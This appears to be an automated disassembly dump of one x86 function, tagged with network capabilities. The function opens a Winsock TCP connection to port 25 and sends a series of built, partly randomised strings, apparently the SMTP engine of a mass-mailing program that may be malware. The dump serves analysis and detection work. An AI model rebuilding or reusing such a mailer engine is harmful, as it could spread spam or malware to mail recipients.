Function at 0x40a8c4
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 0x3b
push 0
push 0
dec ecx
jne 0x40a8cd
xchg dword [ebp - 4], ecx
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.004041c0
mov eax, dword [ebp - 8]
call fcn.004041c0
mov eax, dword [ebp - 0xc]
call fcn.004041c0
mov eax, dword [ebp + 0xc]
call fcn.004041c0
mov edi, 0x411860
xor eax, eax
push ebp
push 0x40b30f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x18]
call fcn.0040a5b4
cmp dword [ebp - 0xc], 0
jne 0x40a92f
lea eax, [ebp - 0xc]
call fcn.0040a5b4
lea eax, [ebp - 0x24]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x40b328
call fcn.004042b8
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00404230
lea eax, [ebp - 0x28]
push eax
mov edx, dword [ebp - 0x18]
mov eax, 0x40b328
call fcn.004042b8
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x18]
call fcn.00404230
mov eax, 6
call fcn.00402d14
mov ebx, eax
test ebx, ebx
jne 0x40a99e
push 0x40b334
push dword [ebp - 0x28]
push 0x40b344
push dword [ebp - 4]
lea eax, [ebp - 4]
mov edx, 4
call fcn.00404098
cmp ebx, 1
jne 0x40a9c0
push 0x40b350
push dword [ebp - 0x28]
push 0x40b344
push dword [ebp - 4]
lea eax, [ebp - 4]
mov edx, 4
call fcn.00404098
cmp ebx, 2
jne 0x40a9d5
lea eax, [ebp - 4]
mov ecx, dword [ebp - 4]
mov edx, 0x40b360
call fcn.00404024
cmp ebx, 3
jne 0x40a9ea
lea eax, [ebp - 4]
mov ecx, dword [ebp - 4]
mov edx, 0x40b370
call fcn.00404024
cmp ebx, 4
jne 0x40a9ff
lea eax, [ebp - 4]
mov ecx, dword [ebp - 4]
mov edx, 0x40b370
call fcn.00404024
mov eax, 0xd
call fcn.00402d14
mov ebx, eax
cmp ebx, 3
jne 0x40aacf
mov eax, 1
call fcn.00402d14
test eax, eax
jne 0x40aa4c
lea ecx, [ebp - 0x178]
mov edx, 1
mov eax, 8
call fcn.0040a400
mov ecx, dword [ebp - 0x178]
lea eax, [ebp - 4]
mov edx, 0x40b380
call fcn.00404024
jmp 0x40aa74
lea ecx, [ebp - 0x17c]
mov edx, 1
mov eax, 8
call fcn.0040a400
mov ecx, dword [ebp - 0x17c]
lea eax, [ebp - 4]
mov edx, 0x40b3a0
call fcn.00404024
push 0x40b3b8
push dword [ebp - 0x24]
push 0x40b3e8
push 0x40b3e8
push 0x40b3f4
push dword [ebp - 0x18]
push 0x40b3e8
push 0x40b404
push dword [ebp - 0xc]
push 0x40b3e8
push 0x40b414
mov eax, 0x12
call fcn.00402d14
mov edx, dword [0x4103a8]
push dword [edx + eax*4]
push 0x40b3e8
push 0x40b428
lea eax, [ebp - 8]
mov edx, 0xe
call fcn.00404098
cmp ebx, 5
jne 0x40ab35
push 0x40b334
push dword [ebp - 0x28]
push 0x40b450
lea eax, [ebp - 4]
mov edx, 3
call fcn.00404098
push 0x40b334
push dword [ebp - 0x28]
push 0x40b3e8
push 0x40b3e8
push 0x40b470
lea eax, [ebp - 8]
mov edx, 5
call fcn.00404098
lea edx, [ebp - 0x180]
mov eax, 0x40b498
call fcn.0040a790
mov edx, dword [ebp - 0x180]
lea eax, [ebp + 0xc]
mov ecx, 0x40b4ac
call fcn.00404024
cmp ebx, 7
jne 0x40abfb
mov eax, 2
call fcn.00402d14
test eax, eax
jne 0x40ab9a
push 0x40b334
push dword [ebp - 0x28]
push 0x40b4bc
lea eax, [ebp - 4]
mov edx, 3
call fcn.00404098
push 0x40b334
push dword [ebp - 0x28]
push 0x40b3e8
push 0x40b3e8
mov eax, 3
call fcn.00402d14
mov edx, dword [0x410414]
push dword [edx + eax*4]
lea eax, [ebp - 8]
mov edx, 5
call fcn.00404098
jmp 0x40abd8
push 0x40b334
push dword [ebp - 0x28]
push 0x40b4dc
lea eax, [ebp - 4]
mov edx, 3
call fcn.00404098
push 0x40b334
push dword [ebp - 0x28]
push 0x40b3e8
push 0x40b3e8
push 0x40b508
lea eax, [ebp - 8]
mov edx, 5
call fcn.00404098
lea edx, [ebp - 0x184]
mov eax, 0x40b53c
call fcn.0040a790
mov edx, dword [ebp - 0x184]
lea eax, [ebp + 0xc]
mov ecx, 0x40b4ac
call fcn.00404024
cmp ebx, 9
jne 0x40ad02
mov eax, 2
call fcn.00402d14
test eax, eax
jne 0x40ac21
lea eax, [ebp - 0xc]
mov edx, 0x40b550
call fcn.00403e00
jmp 0x40ac2e
lea eax, [ebp - 0xc]
mov edx, 0x40b574
call fcn.00403e00
mov eax, 2
call fcn.00402d14
test eax, eax
jne 0x40ac4b
lea eax, [ebp - 4]
mov edx, 0x40b59c
call fcn.00403e00
jmp 0x40ac58
lea eax, [ebp - 4]
mov edx, 0x40b5c4
call fcn.00403e00
push 0x40b5f0
push dword [ebp - 0x28]
push 0x40b600
push 0x40b3e8
push 0x40b3e8
push 0x40b60c
push 0x40b3e8
push 0x40b648
push 0x40b3e8
push 0x40b3e8
push 0x40b688
push 0x40b694
push 0x40b6a0
push 0x40b3e8
push 0x40b6d8
push 0x40b3e8
push 0x40b3e8
push 0x40b718
lea eax, [ebp - 0x188]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x40b738
call fcn.004042b8
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x40b328
call fcn.004042b8
mov edx, eax
mov eax, dword [ebp - 0xc]
pop ecx
call fcn.00404230
push dword [ebp - 0x188]
push 0x40b744
lea eax, [ebp - 8]
mov edx, 0x14
call fcn.00404098
lea eax, [ebp + 0xc]
mov edx, 0x40b75c
call fcn.00403e00
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.004027c4
cmp dword [ebp + 0xc], 0
jne 0x40ad1d
lea edx, [ebp + 0xc]
mov eax, dword [ebp - 0x20]
call fcn.0040667c
lea eax, [ebp - 0x190]
push eax
mov edx, dword [ebp - 0x18]
mov eax, 0x40b328
call fcn.004042b8
inc eax
push eax
mov eax, dword [ebp - 0x18]
call fcn.00403fd8
mov ecx, eax
mov eax, dword [ebp - 0x18]
pop edx
call fcn.00404230
mov eax, dword [ebp - 0x190]
lea edx, [ebp - 0x18c]
call fcn.00409e34
mov edx, dword [ebp - 0x18c]
mov eax, 0x410384
call fcn.00403dbc
mov eax, 0x410388
mov edx, dword [ebp - 0xc]
call fcn.00403dbc
mov ebx, 0x20
mov eax, 2
call fcn.00402d14
mov edx, eax
lea ecx, [ebp - 0x194]
mov eax, 1
call fcn.0040a400
mov edx, dword [ebp - 0x194]
lea eax, [ebp - 0x14]
call fcn.00403fe0
dec ebx
jne 0x40ad79
mov ebx, 0x20
mov eax, 2
call fcn.00402d14
mov edx, eax
lea ecx, [ebp - 0x198]
mov eax, 1
call fcn.0040a400
mov edx, dword [ebp - 0x198]
lea eax, [ebp - 0x10]
call fcn.00403fe0
dec ebx
jne 0x40adab
cmp dword [0x410384], 0
je 0x40b2dc
push 0x411864
push 0x101
call sub.wsock32.dll_WSAStartup
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [edi], eax
mov word [0x4119f4], 2
push 0x19
call sub.wsock32.dll_htons
push 0x19
call sub.wsock32.dll_htons
mov word [0x4119f6], ax
lea edx, [ebp - 0x19c]
mov eax, dword [0x410384]
call fcn.00409f7c
mov eax, dword [ebp - 0x19c]
call fcn.004041d0
push eax
call sub.wsock32.dll_inet_addr
mov dword [0x4119f8], eax
push 0x10
push 0x4119f4
mov eax, dword [edi]
push eax
call sub.wsock32.dll_connect
push 0
push pe_nt_image_headers32
push 0x411a04
mov eax, dword [edi]
push eax
call sub.wsock32.dll_recv
mov eax, 0x40b780
call fcn.0040a394
push 0
push pe_nt_image_headers32
push 0x411a04
mov eax, dword [edi]
push eax
call sub.wsock32.dll_recv
push 0x40b79c
push dword [0x410388]
push 0x40b7b4
push 0x40b3e8
lea eax, [ebp - 0x1a0]
mov edx, 4
call fcn.00404098
mov eax, dword [ebp - 0x1a0]
call fcn.0040a394
push 0
push pe_nt_image_headers32
push 0x411a04
mov eax, dword [edi]
push eax
call sub.wsock32.dll_recv
push 0x40b7c0
push dword [ebp - 0x18]
push 0x40b7b4
push 0x40b3e8
lea eax, [ebp - 0x1a4]
mov edx, 4
call fcn.00404098
mov eax, dword [ebp - 0x1a4]
call fcn.0040a394
push 0
push pe_nt_image_headers32
push 0x411a04
mov eax, dword [edi]
push eax
call sub.wsock32.dll_recv
mov eax, 0xa
call fcn.00402d14
mov ebx, eax
test ebx, ebx
jl 0x40af67
inc ebx
lea eax, [ebp - 0x1c]
call fcn.0040a5b4
push 0x40b7c0
push dword [ebp - 0x1c]
push 0x40b7b4
push 0x40b3e8
lea eax, [ebp - 0x1a8]
mov edx, 4
call fcn.00404098
mov eax, dword [ebp - 0x1a8]
call fcn.0040a394
push 0
push pe_nt_image_headers32
push 0x411a04
mov eax, dword [edi]
push eax
call sub.wsock32.dll_recv
dec ebx
jne 0x40af1b
mov eax, 0x40b7d4
call fcn.0040a394
push 0
push pe_nt_image_headers32
push 0x411a04
mov eax, dword [edi]
push eax
call sub.wsock32.dll_recv
push 0x40b7e4
push dword [0x410388]
push 0x40b7b4
push 0x40b3e8
lea eax, [ebp - 0x1ac]
mov edx, 4
call fcn.00404098
mov eax, dword [ebp - 0x1ac]
call fcn.0040a394
push 0x40b7f4
push dword [0x410388]
push 0x40b7b4
push 0x40b3e8
lea eax, [ebp - 0x1b0]
mov edx, 4
call fcn.00404098
mov eax, dword [ebp - 0x1b0]
call fcn.0040a394
mov eax, 0x40b808
call fcn.0040a394
mov eax, 0x40b82c
call fcn.0040a394
push 0x40b414
push dword [ebp - 4]
push 0x40b3e8
lea eax, [ebp - 0x1b4]
mov edx, 3
call fcn.00404098
mov eax, dword [ebp - 0x1b4]
call fcn.0040a394
push 0x40b858
push dword [ebp - 0x18]
push 0x40b7b4
push 0x40b3e8
lea eax, [ebp - 0x1b8]
mov edx, 4
call fcn.00404098
mov eax, dword [ebp - 0x1b8]
call fcn.0040a394
mov eax, 0x40b868
call fcn.0040a394
push 0x40b884
push dword [ebp - 0x10]
push 0x40b8b8
push 0x40b3e8
push 0x40b3e8
lea eax, [ebp - 0x1bc]
mov edx, 5
call fcn.00404098
mov eax, dword [ebp - 0x1bc]
call fcn.0040a394
push 0x40b8c4
push dword [ebp - 0x10]
push 0x40b3e8
lea eax, [ebp - 0x1c0]
mov edx, 3
call fcn.00404098
mov eax, dword [ebp - 0x1c0]
call fcn.0040a394
mov eax, 0x40b8d0
call fcn.0040a394
cmp esi, 1
jne 0x40b0d7
mov eax, 0x40b908
call fcn.0040a394
mov eax, 0x40b940
call fcn.0040a394
jmp 0x40b0e1
mov eax, 0x40b964
call fcn.0040a394
mov ecx, 0x40b3e8
lea eax, [ebp - 0x1c4]
mov edx, dword [ebp - 8]
call fcn.00404024
mov eax, dword [ebp - 0x1c4]
call fcn.0040a394
cmp esi, 1
jne 0x40b145
push 0x40b98c
push dword [ebp - 0x14]
push 0x40b9a8
push 0x40b3e8
lea eax, [ebp - 0x1c8]
mov edx, 4
call fcn.00404098
mov eax, dword [ebp - 0x1c8]
call fcn.0040a394
mov eax, 0x40b9c8
call fcn.0040a394
mov eax, 0x40b9f8
call fcn.0040a394
push 0x40ba14
push dword [ebp - 0x10]
push 0x40b3e8
lea eax, [ebp - 0x1cc]
mov edx, 3
call fcn.00404098
mov eax, dword [ebp - 0x1cc]
call fcn.0040a394
cmp esi, 1
jne 0x40b17e
mov eax, 0x40ba24
call fcn.0040a394
jmp 0x40b188
mov eax, 0x40ba4c
call fcn.0040a394
push 0x40ba80
push dword [ebp + 0xc]
push 0x40b8b8
push 0x40b3e8
lea eax, [ebp - 0x1d0]
mov edx, 4
call fcn.00404098
mov eax, dword [ebp - 0x1d0]
call fcn.0040a394
mov eax, 0x40ba90
call fcn.0040a394
dec esi
jne 0x40b1f4
push 0x40babc
push dword [ebp - 0x14]
push 0x40b7b4
push 0x40b3e8
push 0x40b3e8
lea eax, [ebp - 0x1d4]
mov edx, 5
call fcn.00404098
mov eax, dword [ebp - 0x1d4]
call fcn.0040a394
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x174]
call fcn.00402ab8
mov eax, dword [0x4104b0]
mov byte [eax], 0
mov edx, 1
lea eax, [ebp - 0x174]
call fcn.00402e38
call fcn.00402678
test eax, eax
jne 0x40b26e
push 0
lea eax, [ebp - 0x174]
call fcn.00402ca8
mov ecx, eax
mov edx, 0x411b04
lea eax, [ebp - 0x174]
call fcn.00402c10
lea eax, [ebp - 0x174]
call fcn.00402ca8
lea edx, [ebp - 0x1d8]
call fcn.0040a220
mov eax, dword [ebp - 0x1d8]
call fcn.0040a394
lea eax, [ebp - 0x174]
call fcn.00402c50
push 0x40bad4
push dword [ebp - 0x10]
push 0x40b8c4
push 0x40b3e8
lea eax, [ebp - 0x1dc]
mov edx, 4
call fcn.00404098
mov eax, dword [ebp - 0x1dc]
call fcn.0040a394
mov eax, 0x40bae4
call fcn.0040a394
push 0
push pe_nt_image_headers32
push 0x411a04
mov eax, dword [edi]
push eax
call sub.wsock32.dll_recv
mov eax, 0x40baf4
call fcn.0040a394
push 0
push pe_nt_image_headers32
push 0x411a04
mov eax, dword [edi]
push eax
call sub.wsock32.dll_recv
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b316
lea eax, [ebp - 0x1dc]
mov edx, 0x1a
call fcn.00403d8c
lea eax, [ebp - 0x28]
mov edx, 0xa
call fcn.00403d8c
lea eax, [ebp + 0xc]
call fcn.00403d68
ret